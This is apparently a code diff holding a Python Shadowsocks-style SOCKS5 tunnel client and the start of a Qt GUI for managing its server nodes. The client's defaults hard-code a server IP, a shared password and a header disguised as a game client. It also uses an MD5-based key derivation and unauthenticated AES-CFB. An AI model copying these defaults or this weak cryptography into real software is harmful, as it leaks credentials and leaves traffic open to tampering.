# PyCryptodome
from Crypto.Cipher import AES # type: ignore
except Exception as exc: # pragma: no cover - import-time
raise SystemExit(
"PyCryptodome not found. Install with: pip install pycryptodome"
) from exc
try:
# dnslib
from dnslib import DNSRecord, DNSHeader, DNSQuestion, QTYPE
except Exception as exc: # pragma: no cover - import-time
raise SystemExit(
"dnslib not found. Install with: pip install dnslib"
) from exc
# ------------------------------ Configuration ------------------------------ #
DOMAIN_LISTS = ["google.com", "youtube.com", "github.com", "githubassets.com", "ggpht.com","googlevideo.com","ytimg.com"]
@dataclass
class Config:
"""Runtime configuration for the client."""
remote_host: str
remote_port: int
password: str
mx_head_str: str
listen_host: str = "127.0.0.1"
listen_port: int = 1080
recv_buf: int = 64 * 1024
connect_timeout: float = 10.0
udp_timeout: float = 180.0 # seconds to keep UDP mappings
# ------------------------------ Crypto helpers ----------------------------- #
def kdf_pseudo_evp_bytes_to_key(password: bytes) -> bytes:
"""Derive a 32-byte AES-256 key using two-round MD5 (per document).
Args:
password: raw password bytes.
Returns:
32-byte key.
"""
h1 = hashlib.md5(password).digest() # first 16 bytes
h2 = hashlib.md5(h1 + password).digest() # second 16 bytes
return h1 + h2 # 32 bytes total
class AesCfbStream:
"""Stateful AES-256-CFB128 for a single TCP direction (fixed IV)."""
def __init__(self, key: bytes, iv: bytes) -> None:
assert len(key) == 32, "AES-256 requires 32-byte key"
assert len(iv) == 16, "IV must be 16 bytes"
self._cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
def encrypt(self, data: bytes) -> bytes:
return self._cipher.encrypt(data)
def decrypt(self, data: bytes) -> bytes:
return self._cipher.decrypt(data)
# ------------------------------ SOCKS5 parsing ----------------------------- #
class Socks5Error(Exception):
pass
@dataclass
class Socks5Request:
cmd: int
atyp: int
host: str
port: int
async def socks5_handshake(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
"""Perform the no-auth SOCKS5 handshake."""
# Greeting: VER | NMETHODS | METHODS...
data = await reader.readexactly(2)
ver, nmethods = data[0], data[1]
if ver != 5:
raise Socks5Error("Only SOCKS5 is supported")
_ = await reader.readexactly(nmethods) # consume methods
# Reply: VER | METHOD(=0x00 no auth)
writer.write(b"\x05\x00")
await writer.drain()
async def socks5_read_request(reader: asyncio.StreamReader) -> Socks5Request:
"""Read a SOCKS5 request (CONNECT or UDP ASSOCIATE)."""
header = await reader.readexactly(4)
ver, cmd, _, atyp = header
if ver != 5:
raise Socks5Error("Bad request version")
# Read DST.ADDR + DST.PORT by ATYP
if atyp == 0x01: # IPv4
addr = await reader.readexactly(4)
host = socket.inet_ntop(socket.AF_INET, addr)
port = struct.unpack("!H", await reader.readexactly(2))[0]
elif atyp == 0x03: # DOMAIN
ln = (await reader.readexactly(1))[0]
host = (await reader.readexactly(ln)).decode("utf-8", "strict")
port = struct.unpack("!H", await reader.readexactly(2))[0]
elif atyp == 0x04: # IPv6
addr = await reader.readexactly(16)
host = socket.inet_ntop(socket.AF_INET6, addr)
port = struct.unpack("!H", await reader.readexactly(2))[0]
else:
raise Socks5Error(f"Unsupported ATYP {atyp:#x}")
return Socks5Request(cmd=cmd, atyp=atyp, host=host, port=port)
def socks5_reply(writer: asyncio.StreamWriter, rep_code: int, bind_host: str, bind_port: int) -> None:
"""Send a SOCKS5 reply with the given bind address."""
try:
ip = ipaddress.ip_address(bind_host)
if isinstance(ip, ipaddress.IPv4Address):
addr = b"\x01" + ip.packed
else:
addr = b"\x04" + ip.packed
except ValueError:
host_b = bind_host.encode("utf-8")
addr = b"\x03" + bytes([len(host_b)]) + host_b
writer.write(b"\x05" + bytes([rep_code]) + b"\x00" + addr + struct.pack("!H", bind_port))
# --------------------------- Address encoding ------------------------------ #
class AddressEncoder:
"""Encode address blocks per the document for TCP/UDP directions."""
@staticmethod
def encode_tcp(atyp: int, host: str, port: int) -> bytes:
"""Encode address using custom type values (ATYP+0x60).
0x61 IPv4, 0x63 Domain, 0x64 IPv6
"""
if atyp == 0x01: # IPv4
atyp_out = 0x61
host_bytes = ipaddress.IPv4Address(host).packed
elif atyp == 0x03: # Domain
atyp_out = 0x63
host_ascii = host.encode("utf-8")
if len(host_ascii) > 255:
raise Socks5Error("Domain too long for single-byte length")
host_bytes = bytes([len(host_ascii)]) + host_ascii
elif atyp == 0x04: # IPv6
atyp_out = 0x64
host_bytes = ipaddress.IPv6Address(host).packed
else:
raise Socks5Error(f"Unsupported ATYP {atyp:#x}")
return bytes([atyp_out]) + host_bytes + struct.pack("!H", port)
@staticmethod
def encode_udp(atyp: int, host: str, port: int) -> bytes:
"""Encode address using **standard SOCKS5** values for UDP."""
if atyp == 0x01:
host_bytes = ipaddress.IPv4Address(host).packed
elif atyp == 0x03:
host_ascii = host.encode("utf-8")
if len(host_ascii) > 255:
raise Socks5Error("Domain too long for single-byte length")
host_bytes = bytes([len(host_ascii)]) + host_ascii
elif atyp == 0x04:
host_bytes = ipaddress.IPv6Address(host).packed
else:
raise Socks5Error(f"Unsupported ATYP {atyp:#x}")
return bytes([atyp]) + host_bytes + struct.pack("!H", port)
class UdpAssociation:
def __init__(self, cfg: Config, key: bytes) -> None:
self.cfg = cfg
self.key = key
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((cfg.listen_host, 0)) # ephemeral port per association
self.sock.setblocking(False)
self.remote_tuple = (cfg.remote_host, cfg.remote_port)
# Map the last client (host,port) per destination address-block to route replies
self._dst_to_client: Dict[bytes, Tuple[str, int]] = {}
self._dst_ttl: Dict[bytes, float] = {}
self._last_client: Optional[Tuple[str, int]] = None
@property
def bind_addr(self) -> Tuple[str, int]:
return self.sock.getsockname()
def close(self) -> None:
try:
self.sock.close()
except Exception:
pass
async def run(self) -> None:
loop = asyncio.get_running_loop()
while True:
try:
data, addr = await loop.sock_recvfrom(self.sock, 65536)
except (asyncio.CancelledError, RuntimeError):
break
except Exception as e:
logging.warning("UDP recv error: %s", e)
continue
try:
if addr == self.remote_tuple:
await self._handle_from_remote(data)
else: # from local app
await self._handle_from_local(data, addr)
except Exception as e:
logging.debug("UDP handle error: %s", e)
# Periodic cleanup for map TTL
now = time.time()
expired = [k for k, t in self._dst_ttl.items() if now - t > self.cfg.udp_timeout]
for k in expired:
self._dst_ttl.pop(k, None)
self._dst_to_client.pop(k, None)
async def _handle_from_local(self, data: bytes, client_addr: Tuple[str, int]) -> None:
# Parse SOCKS5 UDP Request
if len(data) < 3:
return
rsv, frag = data[:2], data[2]
if rsv != b"\x00\x00" or frag != 0:
# We don't support fragmentation; RFC says FRAG must be 0
return
buf = memoryview(data)[3:]
if not buf:
return
atyp = buf[0]
idx = 1
try:
if atyp == 0x01: # IPv4
host = socket.inet_ntop(socket.AF_INET, bytes(buf[idx: idx+4]))
idx += 4
elif atyp == 0x03:
ln = buf[idx]
idx += 1
host = bytes(buf[idx: idx+ln]).decode('utf-8', 'strict')
idx += ln
elif atyp == 0x04:
host = socket.inet_ntop(socket.AF_INET6, bytes(buf[idx: idx+16]))
idx += 16
else:
return
port = struct.unpack('!H', bytes(buf[idx: idx+2]))[0]
idx += 2
except Exception:
return
payload = bytes(buf[idx:]) # rest is DATA
addr_block = AddressEncoder.encode_udp(atyp, host, port)
# Route mapping for reply
self._dst_to_client[addr_block] = client_addr
self._dst_ttl[addr_block] = time.time()
self._last_client = client_addr
# Build SS UDP: IV + CFB128([addr][payload])
iv = os.urandom(16)
cipher = AES.new(self.key, AES.MODE_CFB, iv=iv, segment_size=128)
ct = cipher.encrypt(addr_block + payload)
out = iv + ct
try:
await asyncio.get_running_loop().sock_sendto(self.sock, out, self.remote_tuple)
except Exception as e:
logging.debug("UDP send remote failed: %s", e)
async def _handle_from_remote(self, data: bytes) -> None:
if len(data) < 16:
return
iv, ct = data[:16], data[16:]
cipher = AES.new(self.key, AES.MODE_CFB, iv=iv, segment_size=128)
plain = cipher.decrypt(ct)
# plain = [ATYP|ADDR|PORT|PAYLOAD]
mv = memoryview(plain)
atyp = mv[0]
idx = 1
try:
if atyp == 0x01:
addr_len = 4
idx2 = idx + addr_len
host_bytes = bytes(mv[idx:idx2])
host = socket.inet_ntop(socket.AF_INET, host_bytes)
idx = idx2
elif atyp == 0x03:
ln = mv[idx]
idx += 1
host = bytes(mv[idx: idx+ln]).decode('utf-8', 'strict')
idx += ln
elif atyp == 0x04:
addr_len = 16
idx2 = idx + addr_len
host_bytes = bytes(mv[idx:idx2])
host = socket.inet_ntop(socket.AF_INET6, host_bytes)
idx = idx2
else:
return
port = struct.unpack('!H', bytes(mv[idx: idx+2]))[0]
idx += 2
except Exception:
return
addr_block = AddressEncoder.encode_udp(int(atyp), host, int(port))
payload = bytes(mv[idx:])
# Pick destination client
client = self._dst_to_client.get(addr_block) or self._last_client
if not client:
return
# Wrap back into SOCKS5 UDP Response: RSV|FRAG(0)|addr|payload
resp = b"\x00\x00\x00" + addr_block + payload
try:
await asyncio.get_running_loop().sock_sendto(self.sock, resp, client)
except Exception as e:
logging.debug("UDP send local failed: %s", e)
# --------------------------- TCP connection logic -------------------------- #
class TcpBridge:
"""Bridge one local SOCKS5 connection to the remote server with encryption."""
def __init__(self, cfg: Config, client_reader: asyncio.StreamReader, client_writer: asyncio.StreamWriter) -> None:
self.cfg = cfg
self.client_reader = client_reader
self.client_writer = client_writer
self.server_reader: Optional[asyncio.StreamReader] = None
self.server_writer: Optional[asyncio.StreamWriter] = None
self._down_dec: Optional[AesCfbStream] = None # server -> client
self._up_enc: Optional[AesCfbStream] = None # client -> server
self._udp_assoc: Optional[UdpAssociation] = None
# Global cache for DNS A records and a reusable UDP socket for resolving
self._dns_cache: TTLCache = TTLCache(maxsize=4096, ttl=300)
self._dns_udp_tunnel: Optional[UdpAssociation] = None
async def _resolve_host_udp(self, host: str, key: bytes) -> str:
"""Resolve a hostname to an IP using a cached, reused UDP association."""
if host in self._dns_cache:
cached_ip = self._dns_cache[host]
logging.debug(f"DNS cache hit for {host} -> {cached_ip}")
return cached_ip
logging.debug(f"Resolving {host} via UDP tunnel...")
if self._dns_udp_tunnel is None:
self._dns_udp_tunnel = UdpAssociation(self.cfg, key)
udp_assoc = self._dns_udp_tunnel
loop = asyncio.get_running_loop()
try:
q = DNSRecord(q=DNSQuestion(host, QTYPE.A))
query_payload = q.pack()
addr_block = AddressEncoder.encode_udp(0x01, "8.8.8.8", 53)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
ct = cipher.encrypt(addr_block + query_payload)
out = iv + ct
await loop.sock_sendto(udp_assoc.sock, out, udp_assoc.remote_tuple)
data, _ = await asyncio.wait_for(
loop.sock_recvfrom(udp_assoc.sock, 65536),
timeout=self.cfg.connect_timeout
)
if len(data) < 16:
raise Socks5Error("UDP DNS response too short")
iv, ct = data[:16], data[16:]
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
plain = cipher.decrypt(ct)
mv = memoryview(plain)
atyp = mv[0]
idx = 1
try:
if atyp == 0x01:
idx += 4 + 2
elif atyp == 0x04:
idx += 16 + 2
else:
raise Socks5Error(f"Unexpected ATYP {atyp} in DNS UDP response")
except Exception as e:
raise Socks5Error(f"Failed to parse DNS UDP response header: {e}")
dns_response_payload = bytes(mv[idx:])
resp = DNSRecord.parse(dns_response_payload)
for rr in resp.rr:
if rr.rtype == QTYPE.A:
ip = str(rr.rdata)
logging.debug(f"Resolved {host} to {ip}, caching.")
self._dns_cache[host] = ip
return ip
raise Socks5Error(f"Could not resolve A record for {host}")
except asyncio.TimeoutError:
raise Socks5Error(f"DNS query for {host} timed out")
except Exception:
# If the tunnel fails, close it so a new one is created next time.
if self._dns_udp_tunnel:
self._dns_udp_tunnel.close()
self._dns_udp_tunnel = None
raise
async def run(self) -> None:
key = kdf_pseudo_evp_bytes_to_key(self.cfg.password.encode("utf-8"))
try:
await socks5_handshake(self.client_reader, self.client_writer)
req = await socks5_read_request(self.client_reader)
if req.cmd == 0x01: # CONNECT
await self._handle_connect(req, key)
elif req.cmd == 0x03: # UDP ASSOCIATE
await self._handle_udp_associate(key)
else:
raise Socks5Error("Unsupported CMD (only CONNECT, UDP ASSOCIATE)")
except Exception as e:
logging.exception("Bridge error: %s", e)
finally:
try:
self.client_writer.close()
await self.client_writer.wait_closed()
except Exception:
pass
try:
if self.server_writer:
self.server_writer.close()
await self.server_writer.wait_closed()
except Exception:
pass
if self._udp_assoc:
self._udp_assoc.close()
if self._dns_udp_tunnel:
self._dns_udp_tunnel.close()
async def _handle_connect(self, req: Socks5Request, key: bytes) -> None:
# For domain names, decide whether to resolve via UDP or pass through
if req.atyp == 0x03: # Domain
# Check if the requested host matches our special list for UDP DNS resolution
should_resolve_udp = any(req.host.endswith(domain) for domain in DOMAIN_LISTS)
if should_resolve_udp:
logging.debug(f"Host {req.host} is in DOMAIN_LISTS, resolving via UDP DNS.")
try:
resolved_ip = await self._resolve_host_udp(req.host, key)
# Mutate the request to use the resolved IP
req.host = resolved_ip
req.atyp = 0x01 # IPv4
except Exception as e:
logging.error(f"DNS resolution failed for {req.host}: {e}")
# Send failure reply to client
socks5_reply(self.client_writer, 0x04, "0.0.0.0", 0) # Host unreachable
await self.client_writer.drain()
return
else:
logging.debug(f"Host {req.host} not in DOMAIN_LISTS, passing through as domain.")
# For other domains, we pass them directly to the server.
# req.atyp remains 0x03, and req.host is the domain name.
pass
# Establish remote TCP
await self._connect_remote()
# First upstream body: [address][mx_head_str]
addr = AddressEncoder.encode_tcp(req.atyp, req.host, req.port)
mx = self._encode_mx(self.cfg.mx_head_str)
first_body = addr + mx
# Send: [client_iv][ciphertext(first_body)]
client_iv = os.urandom(16)
self._up_enc = AesCfbStream(key, client_iv)
assert self.server_writer is not None
self.server_writer.write(client_iv + self._up_enc.encrypt(first_body))
await self.server_writer.drain()
# Reply success to local app
socks5_reply(self.client_writer, 0x00, "0.0.0.0", 0)
await self.client_writer.drain()
# Start pipes
await asyncio.gather(self._pipe_upstream(), self._pipe_downstream(key))
async def _handle_udp_associate(self, key: bytes) -> None:
# Create per-association UDP socket and start loop
self._udp_assoc = UdpAssociation(self.cfg, key)
bind_host, bind_port = self._udp_assoc.bind_addr
# Reply with the UDP relay address for this association
socks5_reply(self.client_writer, 0x00, bind_host, bind_port)
await self.client_writer.drain()
# Run UDP loop while TCP control stays open (client closes to end association)
try:
await asyncio.gather(
self._udp_assoc.run(),
self._consume_until_eof(self.client_reader), # hold the control channel open
)
finally:
self._udp_assoc.close()
async def _consume_until_eof(self, reader: asyncio.StreamReader) -> None:
while await reader.read(1024):
pass
async def _connect_remote(self) -> None:
# Use a custom socket to enable TCP Fast Open
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# TCP_FASTOPEN is available on Linux 3.7+, macOS 10.11+, Windows 10+
# The value 5 is a queue size, as per Linux docs.
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_FASTOPEN, 5)
except (OSError, AttributeError):
logging.debug("TCP Fast Open not supported on this system.")
pass # Ignore if not supported
sock.setblocking(False)
try:
await asyncio.wait_for(
asyncio.get_running_loop().sock_connect(sock, (self.cfg.remote_host, self.cfg.remote_port)),
timeout=self.cfg.connect_timeout
)
except asyncio.TimeoutError:
sock.close()
raise Socks5Error("Connection timed out")
except Exception as e:
sock.close()
raise e
self.server_reader, self.server_writer = await asyncio.open_connection(sock=sock)
# Set other TCP options for performance
sock = self.server_writer.get_extra_info("socket")
if sock:
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 20)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1 << 20)
# Loopback Fast Path (Windows 8+)
try:
SIO_LOOPBACK_FAST_PATH = 0x98000010
sock.ioctl(SIO_LOOPBACK_FAST_PATH, 1)
except (OSError, AttributeError):
pass # Ignore if not supported
# Set TCP options for performance
sock = self.server_writer.get_extra_info("socket")
if sock:
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 20)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1 << 20)
# Loopback Fast Path (Windows 8+)
try:
SIO_LOOPBACK_FAST_PATH = 0x98000010
sock.ioctl(SIO_LOOPBACK_FAST_PATH, 1)
except (OSError, AttributeError):
pass # Ignore if not supported
async def _pipe_upstream(self) -> None:
"""Local -> Remote. After first packet, we stream pure ciphertext."""
assert self._up_enc is not None and self.server_writer is not None
while True:
data = await self.client_reader.read(self.cfg.recv_buf)
if not data:
break
ct = self._up_enc.encrypt(data)
self.server_writer.write(ct)
# With TFO, the first write might happen before the connection is fully established.
# A drain is needed to ensure data is sent after the handshake completes.
# For subsequent writes, we also drain when the buffer is large.
if self.server_writer.transport.get_write_buffer_size() > (1 << 20): # 1MiB
await self.server_writer.drain()
async def _pipe_downstream(self, key: bytes) -> None:
"""Remote -> Local. First read yields [server_iv][ciphertext], then pure ciphertext."""
assert self.server_reader is not None
# Read until we've got at least 16 bytes for server IV
buf = bytearray()
while len(buf) < 16:
chunk = await self.server_reader.read(self.cfg.recv_buf)
if not chunk:
return # server closed early
buf += chunk
server_iv, rest = bytes(buf[:16]), bytes(buf[16:])
self._down_dec = AesCfbStream(key, server_iv)
# Decrypt any remaining data from the first read
if rest:
try:
self.client_writer.write(self._down_dec.decrypt(rest))
await self.client_writer.drain()
except Exception:
return
# Continue streaming ciphertext only
while True:
data = await self.server_reader.read(self.cfg.recv_buf)
if not data:
break
pt = self._down_dec.decrypt(data)
self.client_writer.write(pt)
await self.client_writer.drain()
@staticmethod
def _encode_mx(mx: str) -> bytes:
s = mx.encode("utf-8")
if len(s) > 255:
raise ValueError("mx_head_str too long (max 255)")
return bytes([len(s)]) + s
# ------------------------------ Server loop -------------------------------- #
async def handle_client(cfg: Config, reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
peer = writer.get_extra_info("peername")
logging.info("Client from %s", peer)
bridge = TcpBridge(cfg, reader, writer)
await bridge.run()
async def run_server(cfg: Config) -> None:
server = await asyncio.start_server(lambda r, w: handle_client(cfg, r, w), host=cfg.listen_host, port=cfg.listen_port)
addrs = ", ".join(str(sock.getsockname()) for sock in server.sockets or [])
logging.info("Listening on %s (SOCKS5)", addrs)
async with server:
await server.serve_forever()
def parse_args() -> Config:
p = argparse.ArgumentParser(description="Custom AES-256-CFB SS-like client (TCP)")
p.add_argument("--remote-host", default="121.14.152.149", help="Remote server hostname or IP")
p.add_argument("--remote-port", type=int,default="10004", help="Remote server TCP port")
p.add_argument("--password", default="dwz1GtF7", help="Shared password")
p.add_argument("--mx", dest="mx_head_str", default="com.win64.oppc.game.common:22021709,102024080020541279", help="Fixed mx_head_str")
p.add_argument("--listen", default="0.0.0.0", help="Local listen host (default 127.0.0.1)")
p.add_argument("--port", dest="listen_port", type=int, default=10807, help="Local listen port (default 1080)")
p.add_argument("--log", default="INFO", help="Logging level (DEBUG/INFO/WARNING/ERROR)")
args = p.parse_args()
logging.basicConfig(level=getattr(logging, args.log.upper(), logging.INFO), format="%(asctime)s %(levelname)s: %(message)s")
return Config(
remote_host=args.remote_host,
remote_port=args.remote_port,
password=args.password,
mx_head_str=args.mx_head_str,
listen_host=args.listen,
listen_port=args.listen_port,
)
def main() -> None:
cfg = parse_args()
try:
asyncio.run(run_server(cfg))
except KeyboardInterrupt:
pass
if __name__ == "__main__":
main()

974
python/ss_modern.py Normal file
View File

@ -0,0 +1,974 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
现代化 GUIPySide6用于管控 ss_client_aes256cfb.py / ss.exe
主要改进
- QMainWindow 架构工具栏 + 状态栏 + 分栏布局左侧节点 / 右侧选项卡
- 主题支持明亮 / 暗黑一键切换一致圆角与留白统一字号
- 节点管理搜索过滤实时拖拽排序右键菜单重命名/复制/导出
- 测速展示列表中显示彩色时延绿///一眼可见
- 操作提升Clipboard 导入导入/导出打开配置文件夹Toast 提示
- 稳健性表单校验启动/停止按钮状态同步QProcess 合并输出线程清理
依赖
pip install PySide6 requests PySocks
运行
python ss_client_gui_qt_modern.py
"""
from __future__ import annotations
import base64
import json
import os
import random
import socket
import subprocess
import sys
import time
from dataclasses import dataclass, asdict, field
from pathlib import Path
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import parse_qs, unquote, urlparse
import requests
from PySide6.QtCore import (QAbstractListModel, QCoreApplication, QEvent, QModelIndex,
QProcess, QSortFilterProxyModel, Qt, QThread, QRect,
QRegularExpression, Signal, Slot, QEasingCurve, QPropertyAnimation)
from PySide6.QtGui import (QAction, QColor, QIcon, QKeySequence, QPalette,
QStandardItemModel, QTextCursor)
from PySide6.QtWidgets import (
QApplication,
QMainWindow,
QWidget,
QSplitter,
QListView,
QLineEdit,
QToolBar,
QStatusBar,
QStyle,
QFileDialog,
QFormLayout,
QSpinBox,
QHBoxLayout,
QVBoxLayout,
QPushButton,
QLabel,
QGroupBox,
QTabWidget,
QMessageBox,
QTextEdit,
QMenu,
QAbstractSpinBox,
)
# ---------------------------- 常量与默认值 ---------------------------- #
APP_NAME = "Galaxy Muxun Client"
CONFIG_FILE = (Path.home() / ".ss_client_gui.json") # 移到家目录更通用
DEFAULT_SCRIPT = "ss.exe" # 开发态可换 "ss.py"
DEFAULT_TEST_URL = "http://www.gstatic.com/generate_204"
TEST_RANGE = (60000, 61000) # [low, high)
# 时延彩色阈值ms
LATENCY_OK = 180.0
LATENCY_WARN = 450.0
# ------------------------------ 数据模型 ------------------------------ #
@dataclass
class Node:
"""单个节点配置。"""
name: str
server: str
port: int
password: str
mx: str = "HELLO"
last_latency_ms: float = -1.0 # -1 表示未知/失败
last_msg: str = ""
@dataclass
class LaunchConfig:
"""全局配置与节点集合。"""
script_path: str
nodes: List[Node] = field(default_factory=list)
selected: int = 0
listen_host: str = "127.0.0.1"
listen_port: int = 1080
log_level: str = "INFO"
theme: str = "light" # light/dark
# ------------------------------ 工具函数 ------------------------------ #
def app_base_dir() -> Path:
"""获取应用基础目录。"""
return Path(sys.executable).parent if getattr(sys, "frozen", False) else Path(__file__).resolve().parent
def _default_script_path() -> str:
return str((app_base_dir() / DEFAULT_SCRIPT).resolve())
def _resolve_cmd(script_path: str, extra_args: List[str]) -> List[str]:
"""根据后缀拼启动命令:.exe 直接跑;.py 用当前解释器;相对路径基于程序目录。"""
p = Path(script_path)
if not p.is_absolute():
p = (app_base_dir() / p).resolve()
ext = p.suffix.lower()
if ext in (".exe", ".bat", ".cmd","mx"):
return [str(p), *extra_args]
if ext in (".py", ""):
return [sys.executable, str(p), *extra_args]
return [str(p), *extra_args]
def _b64_decode_padded(s: str) -> bytes:
"""URL 安全 base64 解码,自动补齐 padding。"""
s = unquote(s.strip())
pad = (-len(s)) % 4
if pad:
s += "=" * pad
try:
import base64 as _b64
return _b64.urlsafe_b64decode(s.encode("utf-8"))
except Exception:
return base64.b64decode(s.encode("utf-8") + b"==")
def parse_ss_uri(uri: str) -> Optional[Node]:
"""解析 ss:// 链接(两种常见形式),支持 ?mx= 扩展。"""
try:
if not uri.startswith("ss://"):
return None
body = uri[5:]
if "@" in body and "://" not in body:
parsed = urlparse(uri.replace("ss://", "http://", 1))
userinfo = parsed.username or ""
method, _, password = (userinfo or ":").partition(":")
host = parsed.hostname or ""
port = parsed.port or 0
mx = (parse_qs(parsed.query or "").get("mx", [""])[0])
tag = unquote(parsed.fragment or "")
name = tag or f"{host}:{port}"
if method and method.lower() != "aes-256-cfb":
name = f"{name} (method={method})"
return Node(name=name, server=host, port=int(port), password=password or "", mx=mx or "HELLO")
# base64 形式
if "#" in body:
b64, tag = body.split("#", 1)
tag = unquote(tag)
else:
b64, tag = body, ""
decoded = _b64_decode_padded(b64).decode("utf-8")
fake = "http://" + decoded
parsed2 = urlparse(fake)
method = parsed2.username or ""
password = parsed2.password or ""
host = parsed2.hostname or ""
port = parsed2.port or 0
mx = (parse_qs(parsed2.query or "").get("mx", [""])[0])
name = tag or f"{host}:{port}"
if method and method.lower() != "aes-256-cfb":
name = f"{name} (method={method})"
return Node(name=name, server=host, port=int(port), password=password, mx=mx or "HELLO")
except Exception:
return None
def parse_ssr_uri(uri: str) -> Optional[Node]:
"""解析 ssr:// 链接,提取 server/port/method/password/remarks。"""
try:
if not uri.startswith("ssr://"):
return None
payload = uri[6:]
decoded = _b64_decode_padded(payload).decode("utf-8")
main, _, qs = decoded.partition("/?")
parts = main.split(":")
if len(parts) < 6:
return None
host, port_str, _proto, method, _obfs, b64pass = parts[:6]
password = _b64_decode_padded(b64pass).decode("utf-8")
name = f"{host}:{port_str}"
if qs:
q = parse_qs(qs)
if "remarks" in q:
try:
name = _b64_decode_padded(q["remarks"][0]).decode("utf-8") or name
except Exception:
pass
if method and method.lower() != "aes-256-cfb":
name = f"{name} (method={method})"
return Node(name=name, server=host, port=int(port_str), password=password, mx="HELLO")
except Exception:
return None
def _pick_free_port(low: int, high: int) -> int:
"""在 [low, high) 里随机挑一个可绑定的端口。"""
for _ in range(50):
p = random.randint(low, high - 1)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(("127.0.0.1", p))
return p
except OSError:
continue
return low
def _wait_port_open(host: str, port: int, timeout: float) -> bool:
"""等待端口可连接。"""
t0 = time.time()
while time.time() - t0 < timeout:
try:
with socket.create_connection((host, port), timeout=0.3):
return True
except OSError:
time.sleep(0.05)
return False
# ------------------------------ 线程:测速 ------------------------------ #
class LatencyWorker(QThread):
"""真实链路测速起本地代理→SOCKS5 拉取 generate_204→计时。"""
result = Signal(int, float, str) # (index, latency_ms or -1, message)
def __init__(self, index: int, node: Node, script_path: str, log_level: str = "ERROR",
url: str = DEFAULT_TEST_URL) -> None:
super().__init__()
self.index = index
self.node = node
self.script_path = script_path
self.log_level = log_level
self.url = url
self.proc: Optional[subprocess.Popen] = None
self.local_port: int = 0
def run(self) -> None:
"""线程入口。"""
try:
self.local_port = _pick_free_port(*TEST_RANGE)
core_args = [
"--remote-host", self.node.server,
"--remote-port", str(self.node.port),
"--password", self.node.password,
"--mx", self.node.mx,
"--listen", "0.0.0.0",
"--port", str(self.local_port),
"--log", self.log_level,
]
cmd = _resolve_cmd(self.script_path, core_args)
cwd = Path(cmd[0]).parent
creation = 0
if os.name == "nt" and hasattr(subprocess, "CREATE_NO_WINDOW"):
creation = subprocess.CREATE_NO_WINDOW # type: ignore[attr-defined]
self.proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
creationflags=creation,
cwd=cwd,
)
if not _wait_port_open("127.0.0.1", self.local_port, timeout=5.0):
raise RuntimeError("本地代理启动超时")
proxies = {
"http": f"socks5h://127.0.0.1:{self.local_port}",
"https": f"socks5h://127.0.0.1:{self.local_port}",
}
t0 = time.time()
r = requests.get(self.url, proxies=proxies, timeout=8.0, allow_redirects=False)
if r.status_code not in (204, 200, 301, 302):
raise RuntimeError(f"HTTP {r.status_code}")
ms = (time.time() - t0) * 1000.0
self.result.emit(self.index, ms, "ok")
except Exception as e: # noqa: BLE001
self.result.emit(self.index, -1.0, str(e))
finally:
if self.proc:
try:
self.proc.terminate()
try:
self.proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
self.proc.kill()
self.proc.wait(timeout=1.0)
except Exception:
pass
# ----------------------------- Model / Proxy ---------------------------- #
class NodeListModel(QAbstractListModel):
"""节点列表 Model含时延状态。"""
def __init__(self, nodes: List[Node]) -> None:
super().__init__()
self._nodes = nodes
# 拖拽排序支持
def flags(self, index: QModelIndex) -> Qt.ItemFlags: # type: ignore[override]
fl = super().flags(index) | Qt.ItemIsDragEnabled | Qt.ItemIsDropEnabled | Qt.ItemIsEditable | Qt.ItemIsSelectable | Qt.ItemIsEnabled
return fl
def supportedDropActions(self) -> Qt.DropActions: # type: ignore[override]
return Qt.MoveAction
def rowCount(self, parent: QModelIndex = QModelIndex()) -> int: # type: ignore[override]
return 0 if parent.isValid() else len(self._nodes)
def data(self, index: QModelIndex, role: int = Qt.DisplayRole) -> Any: # type: ignore[override]
if not index.isValid():
return None
n = self._nodes[index.row()]
if role == Qt.DisplayRole:
lat = n.last_latency_ms
suffix = "— 测速中…" if lat == -2 else ("— 失败" if lat < 0 else f"{lat:.0f} ms")
return f"{n.name} {suffix}"
if role == Qt.ForegroundRole:
lat = self._nodes[index.row()].last_latency_ms
if lat == -2:
return QColor("#6b7280") # slate-500
if lat < 0:
return QColor("#ef4444") # red-500
if lat <= LATENCY_OK:
return QColor("#10b981") # emerald-500
if lat <= LATENCY_WARN:
return QColor("#f59e0b") # amber-500
return QColor("#ef4444")
return None
def setData(self, index: QModelIndex, value: Any, role: int = Qt.EditRole) -> bool: # type: ignore[override]
if not index.isValid() or role != Qt.EditRole:
return False
self._nodes[index.row()].name = str(value)
self.dataChanged.emit(index, index, [Qt.DisplayRole])
return True
def insertRow(self, row: int, node: Node) -> None:
self.beginInsertRows(QModelIndex(), row, row)
self._nodes.insert(row, node)
self.endInsertRows()
def removeRow(self, row: int) -> None:
self.beginRemoveRows(QModelIndex(), row, row)
self._nodes.pop(row)
self.endRemoveRows()
def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int,
destinationParent: QModelIndex, destinationChild: int) -> bool: # type: ignore[override]
if count != 1 or sourceParent.isValid() or destinationParent.isValid():
return False
self.beginMoveRows(QModelIndex(), sourceRow, sourceRow, QModelIndex(), destinationChild)
node = self._nodes.pop(sourceRow)
if destinationChild > sourceRow:
